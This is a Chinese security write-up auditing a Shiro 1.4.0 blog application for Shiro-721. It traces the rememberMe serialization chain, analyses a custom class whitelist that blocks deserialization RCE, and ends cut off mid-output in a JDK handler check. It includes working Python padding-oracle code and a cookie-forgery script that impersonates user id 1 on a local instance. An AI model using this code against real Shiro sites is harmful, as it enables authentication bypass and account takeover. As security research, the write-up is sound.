记一次失败的shiro721bypass(但是成功打通padding oracle(加密层))
当时闲的没事从网上拉了一个最符合shiro721特征的项目,结果发现加密层都不好打,然后rce层让白名单拦截完了。下面让我们看下这个具体的项目以及破解加密层的思路还有白名单的分析。
https://www.cnblogs.com/nihao-xing/p/23433100
不会基础的看这篇
1.依旧先看pom.xml和README.md

README.md写的shiro版本1.7.1

pom.xml的shiro版本
<fastjson.version>1.2.83</fastjson.version>
<shiro.spring.version>1.4.0</shiro.spring.version>
<shiro.redis.version>2.4.2.1-RELEASE</shiro.redis.version>
如果shiro版本大于1.4.1,shiro721是打不出来的,自己去官网查下影响版本
2.根据第一篇文章的思路,搜shiroconfig

打开shiroconfig.java
全局搜索文本:CookieRememberMeManager、cipherKey、rememberMe。
@Bean(name = "securityManager")
public SecurityManager securityManager(@Qualifier("shiroRealm") ShiroRealm authRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 设置realm.
securityManager.setRealm(authRealm);
securityManager.setCacheManager(redisCacheManager());
// 自定义session管理 使用redis
securityManager.setSessionManager(sessionManager());
// 注入记住我管理器
securityManager.setRememberMeManager(rememberMeManager());
return securityManager;
}
setRememberMeManager 说明rememberMe 开启,反序列化入口存在
/**
* cookie管理对象;记住我功能
*
* @return
*/
public CookieRememberMeManager rememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
// 使用自定义的序列化类
cookieRememberMeManager.setSerializer(new MySecSerializer<>());
cookieRememberMeManager.setCookie(rememberMeCookie());
//rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 192 256 位)
cookieRememberMeManager.setCipherKey(GenerateCipherKey.generateNewKey());
return cookieRememberMeManager;
}
/**
* 解决 shiro 反序列化漏洞
*
* https://blog.csdn.net/qq_34775355/article/details/106643678
*/
public static class GenerateCipherKey {
/**
* 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
*
* @return byte[]
*/
public static byte[] generateNewKey() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}
// 满足合规应使用256位(JDK8u161前不支持AES-256,改用128位)
kg.init(128);
SecretKey key = kg.generateKey();
return key.getEncoded();
}
}
}
- setSerializer(new MySecSerializer<>()),关键线索:自定义序列化器,防护大概率在这里,必须跟进
- GenerateCipherKey.generateNewKey(),密钥随机生成,非硬编码 → Shiro-550(默认 key 直接构造)排除
![PixPin_2026-11-13_17-42-19]()
光标放在MySecSerializer<>(),跳一下,或者ctrl+ait+h
在MySecSerializer.java
public class MySecSerializer<T> implements Serializer<T> {
@Override
public byte[] serialize(T o) throws SerializationException {
// 标准 ObjectOutputStream,无任何过滤
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
}
@Override
public T deserialize(byte[] serialized) throws SerializationException {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
ObjectInputStream ois = new MyClassResolvingObjectInputStream(bis);
T deserialized = (T) ois.readObject(); // ← readObject 触发 resolveClass
ois.close();
return deserialized;
}
}
serialize(写方向)无防护——正常,序列化方向不需要防护
deserialize(读方向)是防护落点——MyClassResolvingObjectInputStream 是核心
思考:这段代码有没有sink?
目前来讲是看不出来的,因为有一个问题。
ta引用了非标准类
ObjectInputStream ois = new MyClassResolvingObjectInputStream(bis);
// ↑ 不是 new ObjectInputStream(bis)
// ↑ 自定义子类 → 必须点进去看
MyClassResolvingObjectInputStream点进去看
在MyClassResolvingObjectlnputStream.java
public class MyClassResolvingObjectInputStream extends ObjectInputStream {
public MyClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
String s = osc.getName();
// 干掉常见的gadget,为了避免 [ ; 符号,必须使用contains方法
// 简单的使用 s.equals 可能导致fastjson 以前出现的黑名单逃逸问题
if (s.contains("java.util.PriorityQueue") || s.contains("xsltc.trax.TemplatesImpl")) {
throw new ClassNotFoundException("Unable to load Dangerous ObjectStreamClass [" + osc + "]");
}
if (s.contains("org.apache.")) {
// 直接干掉了 org.apache ,但是要保留shiro自己
if (s.startsWith("org.apache.shiro.subject.")) {
return ClassUtils.forName(s);
}
throw new ClassNotFoundException("Unable to load Dangerous ObjectStreamClass [" + osc + "]");
}
// 使用白名单保证业务的正常开展
if (s.startsWith("java.lang") || s.startsWith("java.util")) {
return ClassUtils.forName(s);
} else {
throw new ClassNotFoundException("Unable to load Dangerous ObjectStreamClass [" + osc + "]");
}
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}
分析
public class MyClassResolvingObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) {
// ↑ 这就是反序列化的"类加载闸门"
// Java 反序列化每遇到一个类描述符,就调一次这个方法
// 重写它 = 控制了"哪些类能被加载"
}
}
1.白名单进一步分析


白名单策略:只放行 java.lang / java.util 前缀(及 org.apache.shiro.subject.*),其余全部拒绝。

显式拒绝:PriorityQueue、TemplatesImpl(覆盖常见 gadget 的 sink 与触发器)。
这是一个严格白名单,防护强度高。
resolveClass 是 Java 反序列化的"类加载闸门"。重写它做白名单,是最有效的反序列化 RCE 防护手段。审计时要同时检查它有没有遗漏 resolveProxyClass(动态代理接口加载走的是另一个方法)
2.白名单逻辑拆解
输入:序列化流中每个类的规范类名 s = osc.getName()
第①层:s.contains("java.util.PriorityQueue") || s.contains("xsltc.trax.TemplatesImpl") → 拒绝
第②层:s.contains("org.apache.") → 仅 org.apache.shiro.subject.* 放行,其余拒绝
第③层:s.startsWith("java.lang") || s.startsWith("java.util") → 放行
否则 → 拒绝
3.与常见 gadget 的对照
| gadget 链关键类 | 完整类名 | 命中分支 | 结果 |
|---|---|---|---|
| CC 链触发器 | java.util.PriorityQueue |
① contains | 拦 |
| 字节码 sink | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
① contains | 拦 |
| CC 链转换器 | org.apache.commons.collections.* |
② | 拦 |
| CB 链比较器 | org.apache.commons.beanutils.BeanComparator |
② | 拦 |
| JDK 代理 handler | sun.reflect.annotation.AnnotationInvocationHandler |
③ else | 拦 |
| JDK8u20 gadget | java.beans.beancontext.* |
③ else | 拦 |
| URLDNS | java.net.URL |
③ else | 拦 |
| 合法 principal | org.apache.shiro.subject.SimplePrincipalCollection |
② 特例 | 放行 |
- 审计要点:
resolveProxyClass未重写
用 IDEA 查看 MyClassResolvingObjectInputStream 的方法列表(Ctrl+F12):
![PixPin_2026-11-13_18-30-58]()
resolveClass(ObjectStreamClass): Class<?> ↑ObjectlnputStream唯一高亮
resolveClass(ObjectStreamClass) ← 已重写(白名单生效)
resolveProxyClass(String[]) ← 未重写(默认实现,旁路)
旁路含义:动态代理(Proxy)的接口加载走 resolveProxyClass,不受白名单约束;但 Proxy 的 InvocationHandler 仍走 resolveClass(被白名单拦)。
我们已经看到了它的白名单
下面我们该干点什么?
3.调用链追踪(写入方向)
1.看 Shiro 过滤链配置
在ShiroServiceImpl.loadFilterChainDefinitions()
@Override
public Map<String, String> loadFilterChainDefinitions() {
/*
配置访问权限
- anon:所有url都都可以匿名访问
- authc: 需要认证才能进行访问(此处指所有非匿名的路径都需要登录才能访问)
- user:配置记住我或认证通过可以访问
*/
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<String, String>();
// 配置退出过滤器,其中的具体的退出代码Shiro已经替我们实现了
filterChainDefinitionMap.put("/passport/logout", "logout");
filterChainDefinitionMap.put("/passport/login", "anon");
filterChainDefinitionMap.put("/passport/signin", "anon");
filterChainDefinitionMap.put("/websocket", "anon");
filterChainDefinitionMap.put("/favicon.ico", "anon");
filterChainDefinitionMap.put("/error", "anon");
filterChainDefinitionMap.put("/assets/**", "anon");
filterChainDefinitionMap.put("/plugin/**", "anon");
filterChainDefinitionMap.put("/vendors/**", "anon");
filterChainDefinitionMap.put("/getKaptcha", "anon");
// 加载数据库中配置的资源权限列表
List<Resources> resourcesList = resourcesService.listUrlAndPermission();
if (CollectionUtils.isEmpty(resourcesList)) {
throw new ZhydException("未加载到resources内容,请确认是否执行了init_data.sql");
}
for (Resources resources : resourcesList) {
if (!StringUtils.isEmpty(resources.getUrl()) && !StringUtils.isEmpty(resources.getPermission())) {
String permission = "perms[" + resources.getPermission() + "]";
filterChainDefinitionMap.put(resources.getUrl(), permission);
}
}
// 本博客中并不存在什么特别关键的操作,所以直接使用user认证。如果有朋友是参考本博客的shiro开发其他安全功能(比如支付等)时,建议针对这类操作使用authc权限 by yadong.zhang
filterChainDefinitionMap.put("/**", "user");
return filterChainDefinitionMap;
}
filterChainDefinitionMap.put("/passport/login", "anon");
filterChainDefinitionMap.put("/passport/signin", "anon"); // ← 登录接口在这
最后一行决定 rememberMe 的攻击价值
filterChainDefinitionMap.put("/**", "user");
user ≠ authc。user 表示"记住我或已认证都可以"。说明 rememberMe 反序列化一旦成功,不用重新登录就能访问几乎所有功能。如果最后是 authc,rememberMe 的价值就大打折扣。、
2:从 URL 反查 Controller
全局搜索/passport/signin

@BussinessLog("[{1}]登录系统")
@PostMapping("/signin")
@ResponseBody
public ResponseVO submitLogin(String username, String password, boolean rememberMe, String kaptcha) {
if (config.isEnableKaptcha()) {
if (StringUtils.isEmpty(kaptcha) || !kaptcha.equals(SessionUtil.getKaptcha())) {
return ResultUtil.error("验证码错误!");
}
SessionUtil.removeKaptcha();
}
UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe);
//获取当前的Subject
Subject currentUser = SecurityUtils.getSubject();
try {
// 在调用了login方法后,SecurityManager会收到AuthenticationToken,并将其发送给已配置的Realm执行必须的认证检查
// 每个Realm都能在必要时对提交的AuthenticationTokens作出反应
// 所以这一步在调用login(token)方法时,它会走到xxRealm.doGetAuthenticationInfo()方法中,具体验证方式详见此方法
currentUser.login(token);
SavedRequest savedRequest = WebUtils.getSavedRequest(RequestHolder.getRequest());
String historyUrl = null;
if(null != savedRequest) {
if(!savedRequest.getMethod().equals("POST")) {
historyUrl = savedRequest.getRequestUrl();
}
}
return ResultUtil.success(null, historyUrl);
} catch (Exception e) {
log.error("登录失败,用户名[{}]:{}", username, e.getMessage());
token.clear();
return ResultUtil.error(e.getMessage());
}
}
定位 submitLogin , 顺藤摸瓜找到 UsernamePasswordToken
思考:为什么要搜索 UsernamePasswordToken
"用户名+密码+记住我"这种登录方式,UsernamePasswordToken 是唯一入口——Shiro 源码里 login() 只收 AuthenticationToken 接口,而同时承载"用户名、密码、rememberMe"三要素的实现只有这一个类。所以搜它不会漏。
如果项目用 JWT/OAuth2/自定义 Token(比如 new BearerToken(jwt)),那根本不会出现 UsernamePasswordToken——但那种项目也没有传统 rememberMe,Shiro 反序列化这条链也就无从谈起。

UsernamePasswordToken ctrl+alt+h
~ UsernamePasswordToken.UsernamePasswordToken(String, String, boolean) (org.apache.shiro.authc)
~ RememberAuthenticationlnterceptor.preHandle(HttpServletRequest, HttpServletResponse, Object) (com.Zyd.blog.core.interceptor)
~ PassportController.submitLogin(String, String, boolean, String) (com.zyd.blog.controller)
出现两个入口:
PassportController.submitLogin —— 手动登录入口
RememberAuthenticationInterceptor.preHandle —— rememberMe 自动登录入口(无感知升级)
3.我们来拼一下调用链
这个调用链很长
- 从入口开始:PassportController.submitLogin
SecurityUtils.getSubject().login(token)— 跟进去login(token)— Ctrl+B 跳到 DelegatingSubject- 继续 Ctrl+B 跟 DefaultSecurityManager.login
- 看 login 方法体 → authenticate 和 onSuccessfulLogin
- onSuccessfulLogin → Ctrl+B 看到 rememberMeSuccessfulLogin
- 继续跟 → AbstractRememberMeManager.onSuccessfulLogin
- 看方法体 → forgetIdentity + rememberIdentity
- rememberIdentity → convertPrincipalsToBytes
- convertPrincipalsToBytes 里 → serialize + encrypt
完整的手工拼接分四个阶段:
阶段一:写入链(登录 → rememberMe 设置)
11. serialize — 项目注入的是 MySecSerializer → 回项目看
12. encrypt(serialized) — Ctrl+B 进 AbstractRememberMeManager.encrypt
→ 读方法体:cipherService.encrypt(serialized, getEncryptionCipherKey())
→ Ctrl+B 进 AesCipherService.encrypt → AES-CBC,随机 IV
13. 回到 onSuccessfulLogin → rememberSerializedIdentity
→ Ctrl+B 发现是 abstract → Ctrl+Alt+B 看实现:CookieRememberMeManager
→ rememberSerializedIdentity → getCookie().setValue(base64密文)
阶段二:读取链(请求 → 反序列化)
这个不能从入口正向跟(ShiroFilter 太深),改用反向追:
在 MySecSerializer.deserialize 上 → Ctrl+Alt+H(Find Usages)
→ 只有一处调用:AbstractRememberMeManager.deserialize(bytes)
→ 谁调 deserialize?→ convertBytesToPrincipals
→ 谁调 convertBytesToPrincipals?→ getRememberedPrincipals
→ 谁调?→ DefaultSecurityManager.getRememberedIdentity
→ resolvePrincipals → createSubject → AbstractShiroFilter.doFilterInternal
阶段三:白名单分析
deserialize → new MyClassResolvingObjectInputStream
→ Ctrl+B 进 MyClassResolvingObjectInputStream
→ 看方法列表(Ctrl+F12):resolveClass ✓,resolveProxyClass ✗
→ resolveClass 读逐行逻辑
→ resolveProxyClass 未重写 → 接口旁路
阶段四:认证链路(为身份伪造准备)
ShiroConfig → setRealm(new ShiroRealm)
→ Ctrl+B 进 ShiroRealm.doGetAuthenticationInfo
→ 看到返回 SimpleAuthenticationInfo(user.getId(), ..., getName())
→ principal = Long userId
→ realm name = getName()
→ Ctrl+B 进父类 CachingRealm 构造器
→ setName(getClass().getName() + "_" + INSTANCE_COUNT.getAndIncrement())
反向验证(防遗漏)
每条链追完后,从最底层反向做 Call Hierarchy,确保中间没有缺失的桥接方法:
CookieRememberMeManager.rememberSerializedIdentity → Ctrl+Alt+H
→ AbstractRememberMeManager.rememberIdentity ✓
→ 没有其他调用者,链完整
MyClassResolvingObjectInputStream.resolveClass → Ctrl+Alt+H
→ 只有 ObjectInputStream.readObject 内部调用 ✓
四条线串完,三份证据(写入、读取、认证)互相印证,没有断层。
PassportController.submitLogin()
└─ new UsernamePasswordToken(username, password, rememberMe) // isRememberMe = true
└─ SecurityUtils.getSubject().login(token)
└─ DelegatingSubject.login(token)
└─ DefaultSecurityManager.login(subject, token)
├─ authenticate(token)
│ └─ ModularRealmAuthenticator.doAuthenticate
│ └─ ShiroRealm.doGetAuthenticationInfo() // 认证校验
│ └─ 返回 SimpleAuthenticationInfo(userId, password, salt=username, realmName)
└─ onSuccessfulLogin(token, info, subject)
└─ rememberMeSuccessfulLogin(token, info, subject) // 前提 token.isRememberMe()
└─ AbstractRememberMeManager.onSuccessfulLogin(subject, token, info)
├─ forgetIdentity(subject) // 先清旧 cookie(deleteMe)
└─ rememberIdentity(subject, token, info)
└─ convertPrincipalsToBytes(principals)
├─ serialize(principals)
│ └─ MySecSerializer.serialize()
└─ encrypt(serialized)
└─ AesCipherService.encrypt() // AES-CBC + 随机 IV
└─ CookieRememberMeManager.rememberSerializedIdentity(subject, bytes)
└─ Set-Cookie: rememberMe=base64(IV + ciphertext)
这是整个调用链
这调用链这么麻烦
确实麻烦。但 Shiro 是标准化框架,其实不需要逐层追——直接搜关键方法名然后反向拼就够了,五分钟的事:
搜 "convertBytesToPrincipals" → 直接定位到反序列化入口
搜 "rememberIdentity" → 直接定位到序列化入口
搜 "onSuccessfulLogin" → 定位 rememberMe 决策点
搜 "getRememberedPrincipals" → 定位读取入口
Shiro 的方法名是稳定 API,每个版本都一样。审计 Shiro 不需要从 submitLogin 一层层下钻,直接搜 Shiro 内部方法名,一步跳到核心逻辑,然后 Ctrl+Alt+H 反向追调用者:
convertBytesToPrincipals
→ Ctrl+Alt+H → 被 getRememberedPrincipals 调 → 被 getRememberedIdentity 调 → resolvePrincipals → createSubject
一条链,一搜一反,搞定。
真正需要逐层追的只有项目自定义的部分(MySecSerializer → MyClassResolvingObjectInputStream),那个深度也就两步。
4.ShiroRealm.java认证源码
ShiroRealm.doGetAuthenticationInfo:
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
String username = (String) token.getPrincipal();
User user = userService.getByUserName(username);
if (user == null) throw new UnknownAccountException("账号不存在!");
...
// principal 参数使用用户 Id,方便动态刷新用户权限
return new SimpleAuthenticationInfo(
user.getId(), // principal = Long userId(会被序列化进 rememberMe)
user.getPassword(), // credentials
ByteSource.Util.bytes(username), // salt = username
getName());
}
rememberMe 序列化的对象是 SimplePrincipalCollection(含 Long userId),这是后续反序列化"合法垫子"的明文结构来源。
调用链追踪(读取方向):请求 → 反序列化
反向追踪方法(IDEA 操作)
两种方式定位读取链路:
- 方式 A(正向下钻):从
AbstractShiroFilter入口向下追。 - 方式 B(反向查找):在
MySecSerializer.deserialize()上Alt+F7(Find Usages),追到调用方AbstractRememberMeManager.deserialize(),再逐层向上追到getRememberedPrincipals()。
调用链
HTTP 请求
└─ AbstractShiroFilter.doFilterInternal()
└─ createSubject(request, response)
└─ DefaultWebSecurityManager.createSubject(subjectContext)
└─ DefaultSecurityManager.resolvePrincipals(subjectContext)
└─ getRememberedIdentity(subjectContext)
└─ AbstractRememberMeManager.getRememberedPrincipals(subjectContext) ★
├─ getRememberedSerializedIdentity(subjectContext)
│ └─ 读 Cookie "rememberMe" → Base64 解码
└─ convertBytesToPrincipals(bytes, subjectContext)
├─ decrypt(bytes) // 【门1】AES-CBC 解密 + padding 校验
│ └─ JcaCipherService.decrypt()
│ ├─ 分离 IV(前16字节)
│ └─ Cipher.doFinal()
│ └─ padding 错 → BadPaddingException → CryptoException
└─ deserialize(bytes) // 【门2】反序列化
└─ MySecSerializer.deserialize()
└─ MyClassResolvingObjectInputStream.readObject()
└─ resolveClass() // 【门3】白名单
└─ 恶意类 → ClassNotFoundException → SerializationException
└─ 任一异常 → onRememberedPrincipalFailure()
└─ forgetIdentity() → Set-Cookie: rememberMe=deleteMe
4.Shiro 1.4.0 关键方法源码(反编译)
`AbstractRememberMeManager.getRememberedPrincipals
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext); // 统一失败处理
}
return principals;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes); // 失败 → CryptoException
}
return deserialize(bytes); // 失败 → SerializationException
}
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
forgetIdentity(context); // → 发 rememberMe=deleteMe
return null;
}
动态验证结论(实测)
| 场景 | 断点表现 | 结论 |
|---|---|---|
| 合法 cookie | ① 走到 readObject 成功,续期 | 反序列化成功 |
| 篡改末尾字节 | ③ 抛 BadPaddingException | padding 校验在解密层 |
| 篡改 IV | ① 抛 StreamCorruptedException(invalid stream header) | 流头损坏 |
| 追加块 padding 合法 | ② 前段类名正常,尾部忽略 | "合法垫子"使反序列化成功 |
攻击面判定与利用思路
一判定结论
| 攻击路径 | 判定 | 依据 |
|---|---|---|
| Shiro-550(默认 key) | 不可用 | GenerateCipherKey.generateNewKey() 随机密钥,非 kPH+bIxk5D2deZiIxcaaaA== |
| Shiro-721(CBC padding oracle) | 加密层可利用 | 1.4.0 AES-CBC;oracle 可区分(合法密文垫子);中间值可恢复 |
| 反序列化 RCE | 被白名单拦截 | resolveClass 拒绝所有 gadget 类 |
二 Shiro-721 Padding Oracle 可利用性分析(关键)
oracle 判据:响应中 Set-Cookie: rememberMe 是否为非 deleteMe 的新值。
"合法密文垫子"原理:
合法密文 = IV(16B) + 29 密文块(464B)
解密明文 = SimplePrincipalCollection 序列化(448B) + PKCS5 padding(16B)
探测:发送 合法密文 + prefix块(16B) + 试探块(16B)
解密明文 = [合法 principal 448B] + [padding 16B] + [乱码] + [乱码(含合法padding)]
ObjectInputStream.readObject() 只读第一个对象(448B)即返回,忽略尾部乱码
→ 试探块 padding 合法 → 反序列化成功 → 续期 → 无 deleteMe
→ 试探块 padding 非法 → 解密失败 → deleteMe
→ oracle 可区分!
实证数据:
- 遍历 prefix 末字节 0-255,唯一值
185使 padding 合法 - 中间值恢复
D(0x00...00):...c799629354b8(每字节唯一确定)
三 白名单 bypass 分析(最终 RCE 判定)
resolveClass 三层白名单挡住所有已知 gadget:
| 绕过思路 | 结果 |
|---|---|
| TemplatesImpl / PriorityQueue 变体 | contains 精确拦截 |
| org.apache.* 逃逸 | 整段拒绝(仅 shiro.subject 放行) |
| 纯 java.lang/java.util 内 RCE 链 | 无已知链 |
| 数组类名 | [L...; 不以 java.lang 开头 |
| resolveProxyClass 旁路 | 接口绕过,但 handler 仍被 resolveClass 拦 |
Proxy 链三环判定:
① 接口 → resolveProxyClass(未重写,绕过 )但 Class.forName(iface,false) 不执行代码
② handler → resolveClass(白名单 )白名单内无 InvocationHandler 实现
③ 触发器类 → resolveClass(白名单 )AnnotationInvocationHandler 等全被拦
最终结论:加密层(721)可打通,RCE 层(白名单)不可绕过。
5最后给上加密层的Padding Oracle —— 代码与误区分析
0. Oracle 判据
发送密文 = 合法rememberMe密文 + prefix块(16B) + 试探块(16B)
服务端行为:
- 解密成功 + 反序列化成功 → 续期 rememberMe → HTTP 200 + Set-Cookie: rememberMe=<新值>
- 解密失败或反序列化失败 → forgetIdentity → HTTP 302 + Set-Cookie: rememberMe=deleteMe
判定:
响应头中有 非deleteMe 的 rememberMe → padding 合法
响应头中只有 deleteMe → padding 非法
1. Oracle 函数(核心判据)
import base64, re
import requests
URL = "http://127.0.0.1:8085/"
raw = base64.b64decode(open('rememberMe.txt').read().strip()) # 合法密文
def oracle_valid(prefix_bytes, block_bytes):
"""返回 True 表示 padding 合法(解密成功 + 反序列化成功)"""
# 合法密文 + prefix + block
data = raw + prefix_bytes + block_bytes
cookie = base64.b64encode(data).decode()
r = requests.get(URL, headers={'Cookie': 'rememberMe=' + cookie}, timeout=15)
set_cookie = r.headers.get('Set-Cookie', '')
vals = re.findall(r'rememberMe=([^;]+)', set_cookie)
# 有非 deleteMe 的值 → padding 合法 + 反序列化成功
return any(v != 'deleteMe' for v in vals)
2. 中间值恢复(bust —— 逐字节)
def bust(block):
"""恢复 D(block) 的 16 字节中间值"""
block = bytes(block)
D = bytearray(16)
for byte_num in range(15, -1, -1): # 从最后一个字节往前
pad_val = 16 - byte_num # 当前期望的 padding 值
# 构造 prefix:后面已恢复的字节设为正确 padding
prefix = bytearray(16)
for k in range(byte_num + 1, 16):
prefix[k] = D[k] ^ pad_val # 让第 k 字节明文 = pad_val
# 遍历 prefix[byte_num] 0-255,找 padding 合法的值
found = None
for guess in range(256):
prefix[byte_num] = guess
if oracle_valid(bytes(prefix), block):
found = guess
break
if found is None:
raise Exception(f"byte {byte_num} 无解")
D[byte_num] = found ^ pad_val # 恢复的中间值字节
print(f" byte {byte_num}: D=0x{D[byte_num]:02x}")
return D
3. 加密任意明文(encrypt)
import os
def encrypt(plaintext):
"""通过 padding oracle 加密任意明文(CBC 模式)"""
# PKCS5 padding
pad = 16 - (len(plaintext) % 16)
plaintext = plaintext + bytes([pad]) * pad
# 分块 P_0, P_1, ..., P_{m-1}
blocks = [plaintext[i:i+16] for i in range(0, len(plaintext), 16)]
m = len(blocks)
# 随机选最后一块密文 C_m
C = [os.urandom(16)]
# 从后往前逐块构造
for i in range(m - 1, -1, -1):
# 恢复 D(C_{i+1})
D_block = bust(C[0])
# 前一块 = D(C_{i+1}) XOR P_i
prev = bytes(a ^ b for a, b in zip(D_block, blocks[i]))
C.insert(0, prev)
# C[0]=IV, C[1]=C_1, ..., C[m]=C_m
ciphertext = b''.join(C)
return ciphertext
4. 误区分析:为什么"篡改密文"≠ Oracle,必须"追加块"
4.1 错误姿势:篡改合法密文自身
发送密文 = IV' + C_1 + ... + C_n (IV 的某个字节被 XOR 篡改)
解密:
P_1 = D(C_1) XOR IV' ← IV 被篡改,P_1 第一个字节损坏
P_1[0] ≠ 0xAC(序列化魔术头损坏)
反序列化:
readObject 第一步就读到损坏的魔术头 → StreamCorruptedException → SerializationException
→ forgetIdentity → deleteMe
结果:HTTP 302 + deleteMe
而 padding 错误的响应也是 HTTP 302 + deleteMe。
→ 误判:oracle 不可区分!
4.2 正确姿势:在合法密文后面追加块
发送密文 = 合法IV + C_1 + ... + C_n + prefix + 试探块
\__________ 合法密文 __________/ \__ 追加 __/
解密:
P_1...P_n = 合法 SimplePrincipalCollection 序列化(448B)+ PKCS5 padding
P_{n+1} = D(prefix) ⊕ C_n ← 乱码
P_{n+2} = D(试探块) ⊕ prefix ← 乱码,但最后字节决定 padding 是否合法
反序列化:
readObject 读 P_1...P_n → SimplePrincipalCollection 对象成功 → 返回
尾部 P_{n+1}, P_{n+2}(乱码)被忽略 ← ObjectInputStream 只读一个对象就停
结果:padding 合法 → 反序列化成功 → 续期 → HTTP 200 + 新 cookie
padding 非法 → 解密失败 → HTTP 302 + deleteMe
→ 正确判定:oracle 可区分!
4.3 关键机制:ObjectInputStream 只读一个对象就停
明文流:[SimplePrincipalCollection序列化448B][padding 16B][乱码][乱码+合法padding]
← readObject 读第一个对象 →
← 448B 处返回,后面不读 →
篡改密文破坏了第一个对象 → 反序列化失败。追加块不影响第一个对象 → 反序列化成功。
4.4 对比表
| 篡改合法密文 | 追加块 | |
|---|---|---|
| 第一个对象完整性 | ❌ 破坏 | ✅ 完整 |
| 反序列化结果 | StreamCorruptedException | SimplePrincipalCollection 成功 |
| padding 合法时 HTTP | 302 + deleteMe | 200 + 新 cookie |
| padding 非法时 HTTP | 302 + deleteMe | 302 + deleteMe |
| oracle 可区分 | ❌ | ✅ |
5. 完整攻击脚本(身份伪造)
# 1. 构造恶意明文(伪造 root 用户)
# Java 序列化: SimplePrincipalCollection(1L, "com.zyd.blog.core.shiro.realm.ShiroRealm_0")
# 457 字节 → padding 7 字节 → 464 字节 = 29 块
plaintext = base64.b64decode(
"rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29s"
...
"bGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9N"
...
)
# 2. padding oracle 加密
ciphertext = encrypt(plaintext)
# 3. 伪造的 rememberMe
forged_cookie = base64.b64encode(ciphertext).decode()
# 4. 发送,以 root 身份访问后台
r = requests.get('http://127.0.0.1:8085/roles',
headers={'Cookie': 'rememberMe=' + forged_cookie})
# HTTP 200 ← 身份伪造成功
6. 为什么"追加块"的 oracle 需要 256 次请求恰好找到 1 个解
D(试探块) XOR prefix = 最后块明文
D(试探块)[15] XOR prefix[15] = 最后块明文[15]
遍历 prefix[15] 0-255:
→ D(试探块)[15] XOR prefix[15] 遍历 0-255 的某个排列
→ 恰好一个 prefix[15] 使最后块明文[15] = 0x01(合法 padding)
实测:
D(0x00...00) 未恢复前,prefix[15]=185 唯一使 padding 合法
恢复后验证:D(0)[15] = 185 XOR 0x01 = 184 = 0xB8 ✓
思考最后一个问题:handler 绕过有没有可能
cd /g/pi/audit && echo "=== 确认:JDK8 中 InvocationHandler 的 Serializable 实现(白名单内有无)===" && SHIRO_JAR="$HOME/.m2/repository/org/apache/shiro/shiro-core/1.4.0/shiro-core-1.4.0.jar"; SLF4J="$HOME/.m2/repository/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar"; SLF4J_SIMPLE="$HOME/.m2/repository/org/slf4j/slf4j-simple/1.7.5/slf4j-simple-1.7.5.jar"; CP="/g/pi/zhangyd-c-OneBlog-e0a0cc8/blog-admin/target/classes:/g/pi/audit:$SHIRO_JAR:$SLF4J:$SLF4J_SIMPLE"; cat > HandlerAudit.java << 'EOF'
import java.lang.reflect.InvocationHandler;
import java.io.Serializable;
public class HandlerAudit {
public static void main(String[] args) throws Exception {
// 枚举 JDK 中已知的 InvocationHandler 实现,检查它们是否在白名单内
String[] candidates = {
"sun.reflect.annotation.AnnotationInvocationHandler",
"java.rmi.server.RemoteObjectInvocationHandler",
"com.sun.jmx.mbeanserver.MBeanInstantiator",
"org.springframework.aop.framework.JdkDynamicAopProxy",
"java.lang.reflect.Proxy", // Proxy 本身实现了 InvocationHandler? 不,它是接口创建者
};
for (String c : candidates) {
try {
Class<?> cl = Class.forName(c);
boolean isHandler = InvocationHandler.class.isAssignableFrom(cl);
boolean isSer = Serializable.class.isAssignableFrom(cl);
boolean inWhitelist = c.startsWith("java.lang") || c.startsWith("java.util") || c.startsWith("org.apache.shiro.subject.");
System.out.println(c);
System.out.println(" 是InvocationHandler实现=" + isHandler + " 可序列化=" + isSer + " 在白名单=" + inWhitelist);
} catch (Throwable t) {
System.out.println(c + " => 类不存在或加载失败");
}
}
}
}
EOF
"D:/java envirmonent/jdk1.8.0_74/bin/javac.exe" -encoding utf-8 -cp "$CP" HandlerAudit.java 2>&1 | head && "D:/java envirmonent/jdk1.8.0_74/bin/java.exe" -Dfile.encoding=UTF-8 -cp "$CP" HandlerAudit 2>&1
=== 确认:JDK8 中 InvocationHandler 的 Serializable 实现(白名单内有无)===
sun.reflect.annotation.AnnotationInvocationHandler
是InvocationHandler实现=true 可序列化=true 在白名单=false
java.rmi.server.RemoteObjectInvocationHandler
是InvocationHandler实现=true 可序列化=true 在白名单=false
com.sun.jmx.mbeanserver.MBeanInstantiator
